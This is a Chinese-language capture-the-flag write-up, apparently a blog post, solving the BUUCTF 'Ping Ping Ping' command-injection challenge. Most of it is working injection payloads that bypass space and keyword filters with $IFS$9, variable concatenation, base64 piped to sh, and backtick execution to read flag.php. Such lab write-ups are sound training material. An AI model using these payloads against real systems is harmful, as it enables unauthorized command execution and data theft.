BUUCTF[GXYCTF2019]Ping Ping Ping 1

题目

http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/
在这里插入图片描述

解题过程

1.尝试ping一下127.0.0.1
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1
在这里插入图片描述2.尝试查看当前目录下的内容
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;ls
在这里插入图片描述3.尝试查看flag.php的文件内容,发现空格和flag都被过滤了。
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php;
在这里插入图片描述http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;flag.php;
在这里插入图片描述
4.尝试参数替代

1.在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、<> 、%20(space)等 //<>需要写的权限

2.变量拼接字符串 shell可以使用变量来拼接字符串,当做命令来使用,shell类型不一样可能会有些不同。一般用的是bash

http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;b=s;$a$b;
在这里插入图片描述http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9f$aag.php
在这里插入图片描述5.查看源码
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9index.php
在这里插入图片描述

解法

1.变量拼接字符串
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b
在这里插入图片描述
2.使用管道符(这里bash被黑名单过滤了,不然也可以使用)

sh是bash的缩减版本,但大多数命令都是一样的,这里的sh本来为bash,但bash被过滤我们就用sh。
|是管道符,意思为把|前的语句执行结果作为|后面的输入数据。Y2F0IGZsYWcucGhw经过base64解码后就是cat
flag.php。base64$IFS$1-d就是base64 -d,-d就是-decode解码。
整句内容:?ip=127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh
=》?ip=127.0.0.1;echo cat flag.php|sh =》?ip=127.0.0.1;cat flag.php

3.使用内联执行

反引号在linux中作为内联执行,内联,就是将反引号内命令的输出作为输入执行

payload:?ip=127.0.0.1;tac$IFS$9\`ls\`
 
``能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;tac flag.php index.php
然后查看源代码

http://def2b6e9-244d-4caa-a92e-b33d5210c7b3.node4.buuoj.cn:81/?ip=127.0.0.1;tac$IFS$9`ls`

在这里插入图片描述

补充知识

cat和tac的区别:

  • tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出

  • cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来

posted @ 2023-02-01 10:26  坤舆小菜鸡  阅读(23)  评论(0编辑  收藏  举报  来源